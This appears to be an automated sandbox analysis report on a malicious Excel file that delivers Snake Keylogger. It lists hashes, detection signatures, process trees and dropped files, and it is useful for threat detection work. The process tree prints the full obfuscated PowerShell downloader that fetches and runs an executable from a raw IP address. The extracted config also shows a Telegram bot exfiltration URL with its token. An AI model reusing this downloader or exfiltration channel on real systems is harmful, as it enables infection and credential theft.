Analysis
-
max time kernel
122s -
max time network
133s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system -
submitted
22-10-2024 14:01
Static task
static1
Behavioral task
behavioral1
Sample
HEINRICH AG.xls
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
HEINRICH AG.xls
Resource
win10v2004-20241007-en
General
-
Target
HEINRICH AG.xls
-
Size
848KB
-
MD5
5a232e6f517ecc2663439fcf2a28573d
-
SHA1
155a24515072423a751465a774fc6e3e24e21f84
-
SHA256
4af00aaa090c79876c7d3c1c337cdb5244f0b05689de4e22b7ed4a84bb8eb9d8
-
SHA512
a96e1d03f6155e30e236d4234c0c352911d3780cd59493ea8545296dc8b42c2befed3972adfbf0001df24023e522547d00bb2de68c27d729cf689487ad5b4f49
-
SSDEEP
12288:YmzHJE+CzldQD3DERnLRmF8D5JhuiC3LaQlOh4cjUVwUi4t7W:zczlWbARM8NTC3eQ0h4eU
Malware Config
Extracted
snakekeylogger
https://api.telegram.org/bot8129252196:AAFb_vUYwennKVolbwpXf3vnDfT_yhozHns/sendMessage?chat_id=7004340450
Signatures
-
Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
-
Snake Keylogger payload 3 IoCs
resource yara_rule behavioral1/memory/2104-69-0x0000000000400000-0x0000000000426000-memory.dmp family_snakekeylogger behavioral1/memory/2104-71-0x0000000000400000-0x0000000000426000-memory.dmp family_snakekeylogger behavioral1/memory/2104-70-0x0000000000400000-0x0000000000426000-memory.dmp family_snakekeylogger -
Blocklisted process makes network request 3 IoCs
flow pid Process 10 2900 mshta.exe 11 2900 mshta.exe 13 2424 pOWeRSHEll.exe -
Downloads MZ/PE file
-
Evasion via Device Credential Deployment 2 IoCs
pid Process 2424 pOWeRSHEll.exe 2296 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 2532 wlanext.exe -
Loads dropped DLL 1 IoCs
pid Process 2424 pOWeRSHEll.exe -
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 RegSvcs.exe Key opened \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 RegSvcs.exe Key opened \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 RegSvcs.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 14 checkip.dyndns.org -
AutoIT Executable 1 IoCs
AutoIT scripts compiled to PE executables.
resource yara_rule behavioral1/files/0x000700000001a494-61.dat autoit_exe -
Drops file in System32 directory 2 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk pOWeRSHEll.exe File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2532 set thread context of 2104 2532 wlanext.exe 40 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 8 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language EXCEL.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language pOWeRSHEll.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language csc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cvtres.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language wlanext.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RegSvcs.exe -
Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1712 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 2424 pOWeRSHEll.exe 2296 powershell.exe 2424 pOWeRSHEll.exe 2424 pOWeRSHEll.exe 2104 RegSvcs.exe 2104 RegSvcs.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 2532 wlanext.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 2424 pOWeRSHEll.exe Token: SeDebugPrivilege 2296 powershell.exe Token: SeDebugPrivilege 2104 RegSvcs.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 2532 wlanext.exe 2532 wlanext.exe -
Suspicious use of SendNotifyMessage 2 IoCs
pid Process 2532 wlanext.exe 2532 wlanext.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 1712 EXCEL.EXE 1712 EXCEL.EXE 1712 EXCEL.EXE 1712 EXCEL.EXE 1712 EXCEL.EXE -
Suspicious use of WriteProcessMemory 28 IoCs
description pid Process procid_target PID 2900 wrote to memory of 2424 2900 mshta.exe 33 PID 2900 wrote to memory of 2424 2900 mshta.exe 33 PID 2900 wrote to memory of 2424 2900 mshta.exe 33 PID 2900 wrote to memory of 2424 2900 mshta.exe 33 PID 2424 wrote to memory of 2296 2424 pOWeRSHEll.exe 35 PID 2424 wrote to memory of 2296 2424 pOWeRSHEll.exe 35 PID 2424 wrote to memory of 2296 2424 pOWeRSHEll.exe 35 PID 2424 wrote to memory of 2296 2424 pOWeRSHEll.exe 35 PID 2424 wrote to memory of 2952 2424 pOWeRSHEll.exe 36 PID 2424 wrote to memory of 2952 2424 pOWeRSHEll.exe 36 PID 2424 wrote to memory of 2952 2424 pOWeRSHEll.exe 36 PID 2424 wrote to memory of 2952 2424 pOWeRSHEll.exe 36 PID 2952 wrote to memory of 984 2952 csc.exe 37 PID 2952 wrote to memory of 984 2952 csc.exe 37 PID 2952 wrote to memory of 984 2952 csc.exe 37 PID 2952 wrote to memory of 984 2952 csc.exe 37 PID 2424 wrote to memory of 2532 2424 pOWeRSHEll.exe 39 PID 2424 wrote to memory of 2532 2424 pOWeRSHEll.exe 39 PID 2424 wrote to memory of 2532 2424 pOWeRSHEll.exe 39 PID 2424 wrote to memory of 2532 2424 pOWeRSHEll.exe 39 PID 2532 wrote to memory of 2104 2532 wlanext.exe 40 PID 2532 wrote to memory of 2104 2532 wlanext.exe 40 PID 2532 wrote to memory of 2104 2532 wlanext.exe 40 PID 2532 wrote to memory of 2104 2532 wlanext.exe 40 PID 2532 wrote to memory of 2104 2532 wlanext.exe 40 PID 2532 wrote to memory of 2104 2532 wlanext.exe 40 PID 2532 wrote to memory of 2104 2532 wlanext.exe 40 PID 2532 wrote to memory of 2104 2532 wlanext.exe 40 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 RegSvcs.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 RegSvcs.exe
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\HEINRICH AG.xls"1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1712
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe -Embedding1⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2900 -
C:\Windows\SysWOW64\WINDowsPOweRShEll\V1.0\pOWeRSHEll.exe"C:\Windows\systEm32\WINDowsPOweRShEll\V1.0\pOWeRSHEll.exe" "poweRshELl.ExE -Ex ByPass -nOp -w 1 -c DEVICEcrEdeNTiALdEpLOymENt ; IEx($(IeX('[sysTEM.TExT.eNcODiNG]'+[CHAr]58+[cHAr]58+'utf8.GEtStrIng([sYStEM.CONVert]'+[cHaR]58+[ChAR]58+'FRoMBASE64stRiNG('+[chaR]0X22+'JHpWV21LICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBRGQtVHlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJFcmRlZklOaVRJb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNb04uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVJdEd0RkxyayxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHlPaGNCWkMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnRFl3bFBXUURDLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHp1UyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFV3Z05LQ3FQWk8pOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiQ3RhaHNQek92IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUVzUEFDRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU0hrSyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHpWV21LOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTcyLjI0NS4xMjMuNDUvNTYxL3dsYW5leHQuZXhlIiwiJEVuVjpBUFBEQVRBXHdsYW5leHQuZXhlIiwwLDApO3N0QVJ0LVNsRWVQKDMpO3NUQXJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXHdsYW5leHQuZXhlIg=='+[chAR]0X22+'))')))"2⤵
- Blocklisted process makes network request
- Evasion via Device Credential Deployment
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2424 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex ByPass -nOp -w 1 -c DEVICEcrEdeNTiALdEpLOymENt3⤵
- Evasion via Device Credential Deployment
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2296
-
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\z4corj-l.cmdline"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2952 -
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exeC:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE1F7.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCE1F6.tmp"4⤵
- System Location Discovery: System Language Discovery
PID:984
-
-
-
C:\Users\Admin\AppData\Roaming\wlanext.exe"C:\Users\Admin\AppData\Roaming\wlanext.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2532 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Users\Admin\AppData\Roaming\wlanext.exe"4⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:2104
-
-
-
-
C:\Windows\explorer.exe"C:\Windows\explorer.exe"1⤵PID:1912
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD567e486b2f148a3fca863728242b6273e
SHA1452a84c183d7ea5b7c015b597e94af8eef66d44a
SHA256facaf1c3a4bf232abce19a2d534e495b0d3adc7dbe3797d336249aa6f70adcfb
SHA512d3a37da3bb10a9736dc03e8b2b49baceef5d73c026e2077b8ebc1b786f2c9b2f807e0aa13a5866cf3b3cafd2bc506242ef139c423eaffb050bbb87773e53881e
-
Filesize
436B
MD5971c514f84bba0785f80aa1c23edfd79
SHA1732acea710a87530c6b08ecdf32a110d254a54c8
SHA256f157ed17fcaf8837fa82f8b69973848c9b10a02636848f995698212a08f31895
SHA51243dc1425d80e170c645a3e3bb56da8c3acd31bd637329e9e37094ac346ac85434df4edcdbefc05ae00aea33a80a88e2af695997a495611217fe6706075a63c58
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12
Filesize174B
MD5ae7b663127997356b96f6f3ecbe61ab6
SHA1ed66f32d4b1b6fe2ce8f4796115e7a523189349b
SHA2561eff877848b132962aa53ce98db59ca291db74a30ebd66af12a26c3b81d3ff8e
SHA512fb619727403d56d551b365b3ca8ae8b6179b716346ef834c8e2af78fd801f7fd5f453a0dd7f30f30d2b939f4f958c51a84e232ae016ffd685de28f8bcb2e144a
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8
Filesize170B
MD558ecab0c725d81e41d89f59c1f0694f9
SHA1a86a3adb8614aeac2c2e3d6d5a226f3c066136a5
SHA256a17af720b8f210cc8ba941c4046b27c19bbbf42365ff485edff0bb4c32ab5b65
SHA512d0ef60583f64b6caf6b88b8f54e5c924f71ab2c6fff2cee9ee1ed4ae68b74c12cd2a18e5a75d3c643f1f75a8082da730ffe1967634ed7b97cd7a909069fd2f8c
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5GWW47WY\seethemagicalpersoninmylifewithherlifegoodforme[1].hta
Filesize8KB
MD524dcf722096ca6d02bbb70733ae01abc
SHA1fb8166a57aaf6d4837dfb686b84ee51474941c83
SHA256e0d07f596090db80fff8fb48b11999010611ac352534fadcf295c7ac47042bdd
SHA512bb055ad22ba25be389d212fe6517b28244234d259cb0dc870eb7691b6ac3f99ed1d3a8408552f3f1fed9d29313a4a14d5a3fc3c08c629790990a8229f8ab33da
-
Filesize
70KB
MD549aebf8cbd62d92ac215b2923fb1b9f5
SHA11723be06719828dda65ad804298d0431f6aff976
SHA256b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b
-
Filesize
1KB
MD5da1eac18b89c3b6280cb22951f9b3154
SHA15941be381e01ca23c0d0dda909d7dcf1e113b698
SHA256d46e7af21f9366efcebabe9831f255ff51158f6d0ff1fe77e8ceee2a41984d3d
SHA512a0b7531f125336ae404baa144a48ddbc6c18a828d5ffde7c02b87d1b2ac5778a704859c824efe3f62abe902d9c68cd59629e8d305dfd5ee17d5b49984a8bc5f1
-
Filesize
3KB
MD52b99ba919671c79f4df59976613111c4
SHA14c94ff79230e20b1d02d53d555ecf00c7aa06e3e
SHA256ea684aa3fe7356b56a8f4a1c924aa349ff334e8943f9b7763d1f76035030fb82
SHA51250ab9122a57ca6b03123201db63895bf2f907b9b2cb823645f5641b0586f4565247b1364b3b78c6a329645d8dd79fb02038c0fe25e51be37493c1fbf25c40d65
-
Filesize
7KB
MD5930bb6357539f247d2b4d5e1c3a66c37
SHA115ad012d6084a784cc834c0931d86c5bbb5c6a3f
SHA2565633368c8b3eae19f8edc6f9283d6cc6df6136ec6e31d991d9790f518c7ffa37
SHA51266229f50a21fe3cace84d42b08f83d04e50a056d1b3abb1025c891cb7a2ebca469d5c3837eea831fa0a7b419d0a8347a9251d35401a700f40b1731730edf36fc
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize7KB
MD57bbcc16472cdd4649871407e5eed1d74
SHA11f14a58577859ab083b3c6137af5290c0d15103f
SHA256400ca93abb401ccfd2fe932bc9f219df5226353a8117f05399dbdbbb804899bf
SHA512ea51c37074ae680a6df2ee7cd11f54d800e6ce5ec2a513c192384ee1da7cfae7d9c20382b8fba25e7272599aa7160c93a56740dda87b0a1f1446d946e8c7a11d
-
Filesize
910KB
MD5d70ae089068975f5c914ba70c40c3527
SHA1b0a81c280689f14bfa4d499955c80155e045e662
SHA2562385bc1316c82968a13b95bb465c19f7675a6d3504fc3b8c028c00d7acbdc022
SHA512532dd387f2a6757185aa6da0983d71277c2a7d9774482f27ba6d55478a7035df8b911457523569151be68e45ca6ee0e3a1f3cbff1eaab7d8126454a204532697
-
Filesize
652B
MD53a5336546df44a8b3fe904b0b9aeba58
SHA1b8bc54d2f3f8cb9e6b763d11ccbb51cf6aee28ff
SHA25691698f5b35caff6b47b3445c6d7119248806194c53e736490711259db2a9b274
SHA5120f1bd8a65c8f4947d034ee448fe3230559765c04d53d742d1aa510eab907be53b13d7f6cbd4e8da52e2ab3517a34c85c5289922fa299a1e2ee7be303037b5da4
-
Filesize
483B
MD54c5d6a51b5bad9b89090a128b2676ef5
SHA113fbf9031d31d7c621c9fa9816818b341377d487
SHA256c849809f9d06a8ef3bbd4de89bc706fbd851231f8dfe9f8ed84800c9b67e80d7
SHA512a3f1573cee336b8efe076e8746e5a61e73d46b539cb5170f297262a5327e7b43e0c45cfe93682e93b92f20e878ae9e21e60502dbcdf492236ea642f15290601d
-
Filesize
309B
MD5d3b36a3dcacd92ee16159f72c7759df6
SHA1ad58651de484f19783e4c1d6e469ccc6b100b7d7
SHA256d576de596fdfb811189a9247c2707412e2acb27d36532a905f057ba2c1b20654
SHA512e6574490ca62543d69d676ce4aeec6253d6c8db97cbf326ddc1f27f4780c8ff93323b38e5b47700ff7b33c2ec36fa691b8f6f2bf285c29ba1a9edecf740c614a